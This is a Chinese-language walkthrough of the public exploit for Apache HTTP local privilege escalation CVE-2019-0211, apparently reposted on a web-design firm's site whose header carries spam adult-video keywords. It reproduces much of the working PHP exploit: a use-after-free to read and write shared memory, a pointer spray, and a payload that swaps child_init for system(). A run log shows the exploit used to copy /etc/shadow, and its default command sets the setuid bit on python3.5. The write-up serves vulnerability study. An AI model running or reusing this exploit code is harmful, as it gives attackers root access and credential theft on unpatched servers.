成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

如何進(jìn)行ApacheHTTP組件提權(quán)漏洞利用過(guò)程深度分析

本篇文章為大家展示了如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

我們提供的服務(wù)有:做網(wǎng)站、成都網(wǎng)站設(shè)計(jì)、微信公眾號(hào)開(kāi)發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、渭南ssl等。為超過(guò)千家企事業(yè)單位解決了網(wǎng)站和推廣的問(wèn)題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的渭南網(wǎng)站制作公司

Apache HTTP 被發(fā)現(xiàn)存在本地提權(quán)漏洞(CVE-2019-0211),漏洞作者在第一時(shí)間就給出了WriteUp和漏洞EXP,阿爾法實(shí)驗(yàn)室也對(duì)EXP進(jìn)行了深入分析,在此將分析的筆記整理分享出來(lái),希望對(duì)大家理解該漏洞有所幫助。下面內(nèi)容主要按著EXP的執(zhí)行步驟一步步講解,同時(shí)詳細(xì)解釋了利用過(guò)程中幾個(gè)比較難理解的點(diǎn)。

一、漏洞成因

作者的WriteUp中對(duì)導(dǎo)致漏洞代碼已經(jīng)有了介紹,這里就只是簡(jiǎn)單提一下,并省略了大部分的源碼以減輕閱讀負(fù)擔(dān)。

在Apache的MPM prefork模式中,以root權(quán)限運(yùn)行主服務(wù)器進(jìn)程,同時(shí)管理一個(gè)低特權(quán)工作進(jìn)程(worker)池,用于處理HTTP請(qǐng)求。主進(jìn)程和worker之間通過(guò)一個(gè)共享內(nèi)存(SHM)進(jìn)行通信。

1.當(dāng)Apache httpd服務(wù)器優(yōu)雅重啟(graceful)時(shí),httpd主進(jìn)程會(huì)殺死舊worker并用新worker替換它們,這就會(huì)調(diào)用prefork_run()函數(shù)產(chǎn)生新的worker:

//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
  /* ... */   
  make_child(ap_server_conf, child_slot,
             ap_get_scoreboard_process(child_slot)->bucket);
  /* ... */
}

2.在該函數(shù)中調(diào)用make_child(),并使用ap_get_scoreboard_process(child_slot)->bucket作為參數(shù)。make_child()函數(shù)會(huì)創(chuàng)建新的子進(jìn)程,同時(shí)根據(jù)bucket索引讀取all_buckets數(shù)組到my_bucket:

//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket)
{
  /* ... */
  my_bucket = &all_buckets[bucket];
  /* ... */  
  child_main(slot, bucket);
  /* ... */

3.調(diào)用child_main(),如果Apache偵聽(tīng)多個(gè)端口,那么SAFE_ACCEPT(<code>)宏中的<code>將會(huì)執(zhí)行,這里apr_proc_mutex_child_init()將會(huì)執(zhí)行:

//server/mpm/prefork/prefork.c
static void child_main(int child_num_arg, int child_bucket)
{
  /* ... */
  status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
                                            apr_proc_mutex_lockfile(my_bucket->mutex),
                                            pchild));
  /* ... */

4.上述函數(shù)進(jìn)一步調(diào)用(*mutex)->meth->child_init(mutex, pool, fname):

//apr-1.7.0
//locks/unix/proc_mutex.c
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
                                                    const char *fname,
                                                    apr_pool_t *pool)
{
    return (*mutex)->meth->child_init(mutex, pool, fname);
}

整個(gè)簡(jiǎn)化的流程如下:

prefork_run()
  make_child(bucket)
    my_bucket = &all_buckets[bucket];
    child_main(bucket)
    SAFE_ACCEPT(apr_proc_mutex_child_init)
      apr_proc_mutex_child_init(my_bucket->mutex)
        mutex->meth->child_init(&my_bucket->mutex)//覆蓋child_init()的指針來(lái)指向代碼

如果我們?cè)诠蚕韮?nèi)存中偽造一個(gè)prefork_child_bucket結(jié)構(gòu)(即all_buckets數(shù)組的元素),并修改all_buckets數(shù)組的索引bucket,就可以在第三行處的代碼控制my_bucket指向該結(jié)構(gòu)。

進(jìn)而在后續(xù)代碼執(zhí)行my_bucket->mutex->meth->child_init(mutex, pool, fname)meth結(jié)構(gòu)包含指向多個(gè)函數(shù)的指針,因此,將其中的child_init函數(shù)的指針覆蓋為我們想要執(zhí)行函數(shù)的指針,就可以達(dá)到漏洞利用的目的,并且此時(shí)進(jìn)程還是處于root權(quán)限的,后面才降低自身的權(quán)限。

二、漏洞利用

作者在其WriteUp將利用過(guò)程分為四個(gè)步驟,但實(shí)際的exp要比他寫(xiě)得更繁瑣一點(diǎn),在順序上也稍微有些不同。以下是根據(jù)exp執(zhí)行步驟整理的流程,補(bǔ)充了一些細(xì)節(jié):

  1. 利用PHP讀取worker的/proc/self/maps文件,進(jìn)而定位一些漏洞利用所需模塊和函數(shù)的地址

  2. 枚舉/proc/*/cmdline和/proc/*/status文件,得到所有worker進(jìn)程的PID

  3. 利用一個(gè)PHP的UAF漏洞,在worker進(jìn)程中獲取讀/寫(xiě)SHM的權(quán)限

  4. 遍歷Apache的內(nèi)存,根據(jù)內(nèi)存模式匹配找到與all_buckets數(shù)組地址

  5. 因?yàn)閮?yōu)雅重啟后,all_buckets的位置會(huì)改變,因此需要計(jì)算一個(gè)"適當(dāng)"的bucket索引,保證all_buckets[bucket]仍然指向偽造的prefork_child_bucket結(jié)構(gòu)

  6. 在SHM中構(gòu)造payload

  7. 噴射payload之后剩余的SHM區(qū)域,確保第5步中all_buckets[bucket]指向這片區(qū)域后,能轉(zhuǎn)跳到payload

  8. process_score->bucket修改為第5步中計(jì)算的bucket。此外為了進(jìn)一步提高成功率,還可以枚舉SHM區(qū)域所有的process_score結(jié)構(gòu),將每個(gè)worker的process_score->pid與第2步得到的PID的相比較,匹配上的就是正確的process_score結(jié)構(gòu),將每個(gè)worker的process_score->bucket都進(jìn)行修改。

  9. 等待Apache優(yōu)雅重啟觸發(fā)漏洞(每天早上6:25會(huì)自動(dòng)執(zhí)行,也可手動(dòng)重啟驗(yàn)證結(jié)果)

具體的細(xì)節(jié)如下圖:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

2.1 exp概述

get_all_addresses()、get_workers_pids()函數(shù)分別取得幾個(gè)關(guān)鍵內(nèi)存地址、worker的PID放入全局變量$addresses$worker_pids中,以便在隨后的利用中使用。需要注意如果執(zhí)行exp時(shí)無(wú)法解析shmapache的地址,可能是因?yàn)槟愕沫h(huán)境中shm的大小與exp中查找的范圍不一致,可以自己查看一下maps文件,然后修改if ($msize >= 0x10000 && $msize <= 0x16000)這一行為正確的值即可。

real()函數(shù)有兩個(gè)作用,一是觸發(fā)PHP的UAF漏洞。二是開(kāi)始真正的漏洞利用過(guò)程,因?yàn)?code>Z中定義了jsonSerialize()方法,它會(huì)在類(lèi)實(shí)例被序列化的時(shí)候調(diào)用,即后面執(zhí)行json_encode()時(shí)調(diào)用,而所有的利用代碼都在jsonSerialize()中。

下面的代碼只保留了EXP的基本框架,只為了讓大家有一個(gè)整體上的概念:

<?php
function real()
{
  global $y;
  $y = [new Z()];
  json_encode([0 => &$y]);
}

class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    ...
  }
  ... 
}  

...

function get_all_addresses()
{
  ...  
}  
function get_workers_pids()
{
  ...  
}  

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();

接下來(lái)具體看看jsonSerialize()中的代碼。

2.2 利用PHP的UAF獲取讀寫(xiě)SHM的權(quán)限

還是先概括的講一講PHP這個(gè)UAF漏洞原理:

class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $addresses, $workers_pids;
    ...
    $this->abc = ptr2str(0, 79);      //ptr2str在這里等同于創(chuàng)建一個(gè)字符串
    ...
    unset($y[0]);
    ...
    $x = new DateInterval('PT1S');
    ...
  }
}

1. 我們?cè)赯中定義了一個(gè)字符串$this->abc(PHP內(nèi)部使用zend_string表示),就好比C中malloc一塊內(nèi)存

2. 接著unset($y[0])(Z的實(shí)例),就像"free"掉剛才分配的內(nèi)存

3. 然后再請(qǐng)求分配一個(gè)和剛才釋放大小相同的內(nèi)存塊,這里使用的是DateInterval(PHP的對(duì)象內(nèi)部實(shí)現(xiàn)往往由幾個(gè)結(jié)構(gòu)體組成,這里其實(shí)是DateInterval中的timelib_rel_time和zend_string大小相同),于是DateInterval就占據(jù)了原來(lái)字符串的位置,如下圖所示

4. 此時(shí)$this->abc仍然可用并指向原來(lái)的位置,于是我們可以通過(guò)修改DateInterval來(lái)控制字符串$this->abc。

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

PHP字符串的內(nèi)部實(shí)現(xiàn)如下,用一個(gè)zend_string表示,通過(guò)成員變量len來(lái)判斷字符串長(zhǎng)度,從而實(shí)現(xiàn)二進(jìn)制安全。我們修改DateInterval的屬性間接修改len的大小就可以通過(guò)this->abc讀寫(xiě)SHM區(qū)域了。當(dāng)然,為了能夠成功利用漏洞,還有許多細(xì)節(jié)需要考慮。

struct _zend_string {
    zend_refcounted   gc;
    zend_ulong        h;
    size_t            len;      
    char              val[1];
};

2.2.1 填充空閑內(nèi)存塊

在腳本運(yùn)行之前可能發(fā)生了大量的分配/釋放,因此同時(shí)實(shí)例化的兩個(gè)變量也不一定是連續(xù)的,為解決這個(gè)問(wèn)題,實(shí)例化幾個(gè)DateInterval對(duì)象填充不連續(xù)空閑塊,以確保后面分配的內(nèi)存是連續(xù)的:

$contiguous = [];
for($i=0;$i<10;$i++)
  $contiguous[] = new DateInterval('PT1S');

$_protector = ptr2str(0, 78);

2.2.2 創(chuàng)建保護(hù)內(nèi)存塊

為了保證UAF后我們控制的結(jié)構(gòu)屬于一塊空閑內(nèi)存,如果我們之后創(chuàng)建其他變量,那么這些變量可能會(huì)破壞我們已經(jīng)控制的結(jié)構(gòu),為了避免這種情況,這里分配了很多對(duì)象Z的實(shí)例,后面的代碼中會(huì)將其釋放,由于PHP的堆LIFO的特點(diǎn),這些釋放掉的內(nèi)存會(huì)優(yōu)先于UAF的那塊內(nèi)存分配,從而保護(hù)被我們控制的結(jié)構(gòu)。

$room = [];
for($i=0;$i<10;$i++)
  $room[] = new Z();

函數(shù)ptr2str的作用相當(dāng)于在內(nèi)存中分配一個(gè)大小為78的zend_string結(jié)構(gòu),為什么是78這個(gè)大小接下來(lái)會(huì)提到。

$_protector = ptr2str(0, 78);

2.2.3 分配UAF的字符串

接著創(chuàng)建字符串$this->abc,也就是一個(gè)zend_string結(jié)構(gòu),通過(guò)對(duì)它進(jìn)行UAF,進(jìn)而讀寫(xiě)共享內(nèi)存。

$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');

創(chuàng)建$p的目的是為了保護(hù)$this->abc,前面說(shuō)過(guò),一個(gè)PHP對(duì)象往往由許多結(jié)構(gòu)組成,而DateInterval中的timelib_rel_time結(jié)構(gòu)大小就剛好為78,這就是前面為何要?jiǎng)?chuàng)建大小78的zend_string的原因。

此時(shí)的內(nèi)存布局如下圖所示,這里和下面的所有圖示都是為了方便大家理解,因?yàn)镻HP各種變量、對(duì)象都是由好幾個(gè)結(jié)構(gòu)組成,所以實(shí)際的PHP堆內(nèi)存排布肯定比此復(fù)雜。

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

2.2.4 觸發(fā)UAF并驗(yàn)證

接著unset當(dāng)前對(duì)象$y[0]和$p,unset掉$p意味著釋放了DateInterval的timelib_rel_time結(jié)構(gòu)。

unset($y[0]);
unset($p);

此時(shí)內(nèi)存布局如下:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

然后我們將分配一個(gè)與其大小相同的字符串($protector),由于PHP堆LIFO的特點(diǎn),因此字符串將取代timelib_rel_time結(jié)構(gòu)的位置。

# Protect $p's timelib_rel_time structure
$protector = ".$_protector";

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

接著就是最重要的一步:

$x = new DateInterval('PT1S');

再次創(chuàng)建一個(gè)DateInterval,它的timelib_rel_time結(jié)構(gòu)將剛好占據(jù)上圖中free的內(nèi)存位置,同時(shí)$this->abc仍然是可以訪問(wèn)free這塊內(nèi)存的,即:&timelib_rel_time == &zend_string。因此我們可以通過(guò)修改DateInterval對(duì)象來(lái)修改zend_string.len,從而控制可以讀/寫(xiě)內(nèi)存的長(zhǎng)度。

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

完成上述步驟后,我們還需要驗(yàn)證UAF是否成功,看一下DateInterval的定義:

DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string
}

因?yàn)橛?amp;timelib_rel_time == &zend_string,所以這里的$d和$y分別對(duì)應(yīng)zend_string里的len和val??梢詫?x(DateInterval)的h屬性設(shè)置為0x13121110,再通過(guò)$this->abc字符串(zend_string)訪問(wèn)來(lái)判斷UAF成功與否。

# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;

if(!(
  strlen($this->abc) === $x->d &&
  $this->abc[0] == "\x10" &&
  $this->abc[1] == "\x11" &&
  $this->abc[2] == "\x12" &&
  $this->abc[3] == "\x13"
))
{
  o('UAF failed, exiting.');
  exit();
}
  o('UAF successful.');;

最后別忘了釋放掉$room,產(chǎn)生的空閑塊將保護(hù)我們控制的結(jié)構(gòu),后面再新建變量都會(huì)優(yōu)先使用這些內(nèi)存。

unset($room);

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

2.2.5 控制并修改UAF的結(jié)構(gòu)

利用這個(gè)PHP漏洞的目的是為了能夠獲取讀寫(xiě)SHM的權(quán)限,現(xiàn)在我們能夠讀寫(xiě)zend_string.val的內(nèi)容,能讀寫(xiě)的長(zhǎng)度是zend_string.len,因此只要將len的值增加到包括SHM的范圍。

這時(shí)我們已經(jīng)知道了SHM的絕對(duì)地址,還需要知道abc的絕對(duì)地址,得到兩者之間的偏移量才可以修改len。因此需要找到字符串$this->abc在內(nèi)存中的位置:

$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));

然后我們就可以計(jì)算兩者間的偏移量了,還要注意的是,因?yàn)楹竺嫖覀冃枰趦?nèi)存中查找all_bucket,而它在apache的內(nèi)存中所以我們的len需要將SHM和apache的內(nèi)存都覆蓋到,所以作者的WriteUp中說(shuō)SHM和apache的內(nèi)存都需要在PHP堆之后,而它們也確實(shí)都在PHP堆之后。

找SHM和apache的內(nèi)存兩者間較大的值,減去abc的地址,將得到的偏移通過(guò)DateInterval的d屬性修改來(lái)修改zend_string.len。

$distance = 
  max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;

這等同于將zend_string結(jié)構(gòu)($this->abc)中的len修改為一個(gè)超大的值,一直包括到SHM和Apache內(nèi)存區(qū)域,這下我們就可以讀寫(xiě)這個(gè)范圍內(nèi)的內(nèi)存了。

2.3 在內(nèi)存中定位all_buckets

根據(jù)內(nèi)存模式查找all_buckets數(shù)組的位置,這在作者的writeup中有提到。mutex在all_buckets偏移0x10的位置,而meth在mutex偏移0x8的位置,根據(jù)該特征查找all_buckets數(shù)組。

首先,在apache的內(nèi)存中搜索all_buckets[idx]->mutex,接著驗(yàn)證meth,是否在libapr.so的.data段中,最后因?yàn)閙eth指向libapr.so中定義的函數(shù),因此驗(yàn)證其是否在.text段。滿足這些條件的就是我們要找的all_buckets[]結(jié)構(gòu)。

    $all_buckets = 0;

    for(
      $i = $addresses['apache'][0] + 0x10;
      $i < $addresses['apache'][1] - 0x08;
      $i += 8
    )
    {
      # mutex
      $mutex = $pointer = str2ptr($this->abc, $i - $address);
      if(!in($pointer, $addresses['apache']))
        continue;

      # meth
      $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
      if(!in($pointer, $addresses['libaprR']))
        continue;

      o('  [&mutex]: 0x' . dechex($i));
      o('    [mutex]: 0x' . dechex($mutex));
      o('      [meth]: 0x' . dechex($meth));

順便將meth結(jié)構(gòu)中所有函數(shù)指針打印出來(lái),第6個(gè)就是我們要用到的(*child_init)()。

      # meth->*
      # flags
      if(str2ptr($this->abc, $pointer - $address) != 0)
        continue;
      # methods
      for($j=0;$j<7;$j++)
      {
        $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
        if(!in($m, $addresses['libaprX']))
          continue 2;
        o('        [*]: 0x' . dechex($m));
      }

      $all_buckets = $i - 0x10;
      o('all_buckets = 0x' . dechex($all_buckets));
      break;
    }

這是meth的結(jié)構(gòu),可以對(duì)照著看一看:

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
    const char *name;
};

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

2.4 計(jì)算索引buckets

再回憶一下漏洞利用的方法:在SHM中構(gòu)造payload (prefork_child_bucket結(jié)構(gòu)),同時(shí)將剩余SHM區(qū)域噴射payload地址(并非payload起始地址), 控制指向噴射區(qū)域,所以&all_buckets[bucket]中的meth必然指向payload ,而payload中我們已將child_init函數(shù)的指針覆蓋為我們想要執(zhí)行函數(shù)的指針,就可以達(dá)到漏洞利用的目的。

要想控制&all_buckets[bucket]指向prefork_child_bucket結(jié)構(gòu),不能直接將該結(jié)構(gòu)精確放在某個(gè)位置,然后直接計(jì)算兩者間的偏移,因?yàn)閍ll_buckets的地址在每?jī)?yōu)雅重啟后會(huì)發(fā)生變化,所以漏洞被觸發(fā)時(shí)all_buckets的地址將與我們找到的地址是不同的,這就是作者在EXP中進(jìn)行堆噴的目的。

all_buckets是一個(gè)結(jié)構(gòu)體數(shù)組,元素prefork_child_bucket結(jié)構(gòu)由三個(gè)指針組成:

typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;

如果在SHM中大量噴射一個(gè)指向payload的地址,只要讓&all_buckets[bucket]落在該區(qū)域內(nèi),payload就能得到執(zhí)行,如下圖中所示:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

并且在EXP中,作者一共使用了兩種方法來(lái)提高利用成功率:

1.噴射SHM,也就是上面提到的方法

2.修改每個(gè)worker的process_score->bucket結(jié)構(gòu),這樣一來(lái),利用成功率就可以再乘以Apache Worker的數(shù)量。這也是exp開(kāi)始時(shí)調(diào)用$workers_pids = get_workers_pids();的原因。
先看第一種方法的實(shí)現(xiàn):

SHM的起始部分是被apache的各個(gè)進(jìn)程使用的,可以用SHM末尾的絕對(duì)地址$spray_max,減去未使用的內(nèi)存空間大小$spray_size,得到要噴射區(qū)域的大小$spray_size;而未使用空間的大小可以通過(guò)減去已使用worker_score結(jié)構(gòu)的總大小得到。

$size_prefork_child_bucket = 24;
$size_worker_score = 264;

$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;

然后找噴射區(qū)域地址的中間值,計(jì)算它和all_buckets地址的偏移,再除以prefork_child_bucket結(jié)構(gòu)的大小,就可以得到一個(gè)all_buckets數(shù)組下標(biāo)索引,但別忘了SHM在all_buckets之前,所以這個(gè)索引還要取負(fù)值,這個(gè)值用$bucket_index_middle表示。

$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );

這樣做的目的在于,在每?jī)?yōu)雅重啟后,即便all_buckets的地址有所變化,&all_buckets[bucket]指向的位置會(huì)在$spray_middle上下浮動(dòng),最大程度上保證了該指針落在噴射的內(nèi)存范圍內(nèi),如下圖所示:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

 2.5 設(shè)置payload并噴射SHM

Payload由三個(gè)部分組成

1.bucket,用來(lái)存放要執(zhí)行的命令,這是因?yàn)閜ayload已經(jīng)成了幾個(gè)結(jié)構(gòu)的疊加。

2.meth,它還是apr_proc_mutex_unix_lock_methods_t結(jié)構(gòu),只是它的child_init替換成了zend_object_std_dtor,其他指針置空。

3.properties,這是PHP內(nèi)部結(jié)構(gòu)zend_object的一個(gè)成員。

回憶漏洞的攻擊鏈,最后的child_init被替換成函數(shù)zend_object_std_dtor執(zhí)行,其原型如下,傳入一個(gè)zend_object結(jié)構(gòu):

ZEND_API void zend_object_std_dtor(zend_object *object);

所以原本傳給child_init的&my_bucket->mutex(prefork_child_bucket結(jié)構(gòu)的一部分)就和zend_object相疊加了。

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

zend_object_std_dtor的執(zhí)行又導(dǎo)致以下調(diào)用鏈:

...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
    //(*mutex)->meth->child_init()
    (*mutex)->meth->zend_object_std_dtor(object)    //[object = mutex]
        ht = object->properties
        zend_array_destroy(ht)
        zend_hash_destroy(ht)
            val = &ht->arData[0]->val
            ht->pDestructor(val)

上面的代碼properties是一個(gè)zend_array結(jié)構(gòu),如下所示,我們控制其中的arData,pDestructor,如果我們將上面&ht->arData[0]->val放入要執(zhí)行的命令,pDestructor()覆蓋為system的地址,就可以實(shí)現(xiàn)命令執(zhí)行了。

struct _zend_array {
    zend_refcounted_h gc;
    //...
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};

回到exp中,首先構(gòu)造bucket部分,放入要執(zhí)行的命令,沒(méi)有參數(shù)時(shí)默認(rèn)執(zhí)行"chmod +s /usr/bin/python3.5",但是自定義的命令長(zhǎng)度也不能超過(guò)152字節(jié)。

# Build payload

$payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

  # Payload maxsize 264 - 112 = 152
      $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.5";

      if(strlen($bucket) > $size_worker_score - 112)
    {
      o(
        'Payload size is bigger than available space (' .
        ($size_worker_score - 112) .
        '), exiting.'
      );
      exit();
    }
      # Align
      $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

然后是meth,將原本child_init的指針改為zend_object_std_dtor:

# apr_proc_mutex_unix_lock_methods_t
    $meth = 
        $z .
        $z .
        $z .
        $z .
        $z .
        $z .
      # child_init
        ptr2str($addresses['zend_object_std_dtor'])
    ;

經(jīng)過(guò)調(diào)試也可以看到child_init被覆蓋:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

然后是properties(zend_array和apr_proc_mutex_t結(jié)構(gòu)的疊加),u-nTableMask的位置將用作apr_proc_mutex_t結(jié)構(gòu)的meth,而arData指向payload中的bucket。

      $properties = 
      # refcount
      ptr2str(1) .
      # u-nTableMask meth
      ptr2str($payload_start + strlen($bucket)) .
      # Bucket arData
      ptr2str($payload_start) .
      # uint32_t nNumUsed;
      ptr2str(1, 4) .
        # uint32_t nNumOfElements;
      ptr2str(0, 4) .
      # uint32_t nTableSize
      ptr2str(0, 4) .
      # uint32_t nInternalPointer
      ptr2str(0, 4) .
      # zend_long nNextFreeElement
      $z .
      # dtor_func_t pDestructor
      ptr2str($addresses['system'])
    ;

將各部分組合:

    $payload = 
      $bucket .
      $meth .
      $properties
    ;

通過(guò)前面UAF控制的字符串a(chǎn)bc寫(xiě)入SHM未使用部分的開(kāi)頭:

    o('Placing payload at address 0x' . dechex($payload_start));

    $p = $payload_start - $address;
    for(
      $i = 0;
      $i < strlen($payload);
      $i++
    )
    {
      $this->abc[$p+$i] = $payload[$i];
    }

打印信息,將SHM剩下的部分噴射為properties的地址

    $properties_address = $payload_start + strlen($bucket) + strlen($meth);
    o('Spraying pointer');
    o('  Address: 0x' . dechex($properties_address));
    o('  From: 0x' . dechex($spray_min));
    o('  To: 0x' . dechex($spray_max));
    o('  Size: 0x' . dechex($spray_size));
    o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
    o('  Apache: 0x' . dechex(
      $addresses['apache'][1] -
      $addresses['apache'][0]
    ));

    $s_properties_address = ptr2str($properties_address);

    for(
      $i = $spray_min;
      $i < $spray_max;
      $i++
    )
    {
      $this->abc[$i - $address] = $s_properties_address[$i % 8];
    }

講到這里可以再回頭看看文章剛開(kāi)始的圖,應(yīng)該就更容易理解了。

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

 2.6 進(jìn)一步提高成功率

前面還講到,可以修改每個(gè)worker的process_score->bucket結(jié)構(gòu),這樣一來(lái),利用成功率就可以再乘以Apache Worker的數(shù)量,因?yàn)?.4中計(jì)算出的bucket索引能落在了SHM之外,如果有多個(gè)worker,如下圖所示,就能提高&all_buckets[bucket]落在SHM中的概率:

如何進(jìn)行Apache HTTP組件提權(quán)漏洞利用過(guò)程深度分析

迭代查找每個(gè)process_score結(jié)構(gòu)直到找到每個(gè)PID,再將找到的PID$workers_pids中的PID對(duì)比,匹配的就說(shuō)明是正確的結(jié)構(gòu)。

$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

    for(
      $p = $addresses['shm'][0] + 0x20;
      $p < $addresses['shm'][1] && count($workers_pids) > 0;
      $p += 0x24
    )
    {
      $l = $p - $address;
      $current_pid = str2ptr($this->abc, $l, 4);
      o('Got PID: ' . $current_pid);
      # The PID matches one of the workers
      if(in_array($current_pid, $workers_pids))
      {
        unset($workers_pids[$current_pid]);
        o('  PID matches');

將所有workerprocess_score.bucket都進(jìn)行修改,而非修改其中一個(gè):

        # Update bucket address
        $s_bucket_index = pack('l', $bucket_index);
        $this->abc[$l + 0x20] = $s_bucket_index[0];
        $this->abc[$l + 0x21] = $s_bucket_index[1];
        $this->abc[$l + 0x22] = $s_bucket_index[2];
        $this->abc[$l + 0x23] = $s_bucket_index[3];
        o('  Changed bucket value to ' . $bucket_index);
        $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
        $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
        o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
        # This bucket range is covered, go to the next one
        $bucket_index += $spray_nb_buckets;

到這里,整個(gè)漏洞利用過(guò)程就結(jié)束了,可以等到6:25AM查看利用是否利用成功,也可以手動(dòng)執(zhí)行apachectl graceful驗(yàn)證。

    if(count($workers_pids) > 0)
    {
      o(
        'Unable to find PIDs ' .
        implode(', ', $workers_pids) .
        ' in SHM, exiting.'
      );
      exit();
    }

    o('');
    o('EXPLOIT SUCCESSFUL.');
    o('Await 6:25AM.');

    return 0;
? curl http://192.168.116.133/carpediem.php\?cmd\=cp+/etc/shadow+/tmp/
CARPE (DIEM) ~ CVE-2019-0211

PID: 887
Fetching addresses
  zend_object_std_dtor: 0x7fc38f605700
  system: 0x7fc3936bc480
  libaprX: 0x7fc393c39000-0x0x7fc393c6b000
  libaprR: 0x7fc393e6b000-0x0x7fc393e6c000
  shm: 0x7fc394456000-0x0x7fc39446a000
  apache: 0x7fc39446a000-0x0x7fc39452a000

Obtaining apache workers PIDs
  Found apache worker: 887
  Found apache worker: 888
  Found apache worker: 889
  Found apache worker: 890
  Found apache worker: 891
Got 5 PIDs.

Triggering UAF
  Creating room and filling empty spaces

  Allocating $abc and $p

  Unsetting both variables and setting $protector
  Creating DateInterval object
UAF successful.

Address of $abc: 0x7fc38aaa34e8

Looking for all_buckets in memory
  [&mutex]: 0x7fc3944cab70
    [mutex]: 0x7fc3944cacc0
      [meth]: 0x7fc393e6bca0
        [*]: 0x7fc393c53ce0
        [*]: 0x7fc393c541b0
        [*]: 0x7fc393c53e90
        [*]: 0x7fc393c54210
        [*]: 0x7fc393c53bf0
        [*]: 0x7fc393c53960
        [*]: 0x7fc393c6228c
all_buckets = 0x7fc3944cab60

Computing potential bucket indexes and addresses
[bucket_index_middle]: -17858
Placing payload at address 0x7fc39445a148
Spraying pointer
  Address: 0x7fc39445a218
  From: 0x7fc39445a250
  To: 0x7fc39446a000
  Size: 0xfdb0
  Covered: 0x4f470
  Apache: 0xc0000

Iterating in SHM to find PIDs...
[spray_nb_bucket]: 2706
[total_nb_buckets]: 13530
[bucket_index]: -24623
Got PID: 887
  PID matches
  Changed bucket value to -24623
  Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468
Got PID: 888
  PID matches
  Changed bucket value to -21917
  Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8
Got PID: 889
  PID matches
  Changed bucket value to -19211
  Ranges: 0x7fc3944cab58 - 0x7fc3944da908
Got PID: 890
  PID matches
  Changed bucket value to -16505
  Ranges: 0x7fc3944bada8 - 0x7fc3944cab58
Got PID: 891
  PID matches
  Changed bucket value to -13799
  Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8

EXPLOIT SUCCESSFUL.
Await 6:25AM.

